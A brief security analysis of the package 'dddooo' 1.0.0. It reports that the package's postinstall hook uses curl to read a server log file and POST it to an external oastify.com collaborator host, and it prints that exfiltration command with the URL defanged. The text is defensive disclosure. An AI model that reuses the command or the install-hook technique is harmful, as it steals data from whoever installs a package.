dddooo@1.0.0

Analysis

The package "dddooo" 1.0.0 contains a postinstall lifecycle hook that exfiltrates server log data via HTTP. On install, the hook executes: curl -X POST -d "$(cat /data/logs/monitor-2026-06-16.log)" hxxp://3dhd6wwmusbh04m22igmzvb4hvnmblza[.]oastify[.]com/data — reading the file /data/logs/monitor-2026-06-16.log (likely an Nginx, Apache, or application access log) and POSTing its contents to the external host 3dhd6wwmusbh04m22igmzvb4hvnmblza[.]oastify[.]com (an interactsh/Burp Collaborator-style intercept service). The published module code (index.js) is a benign-looking string utility library with no malicious logic visible at runtime; all malicious behaviour runs during the install lifecycle phase via the shell hook. No repository URL, no homepage, and the package name is a meaningless string with no relation to any well-known library.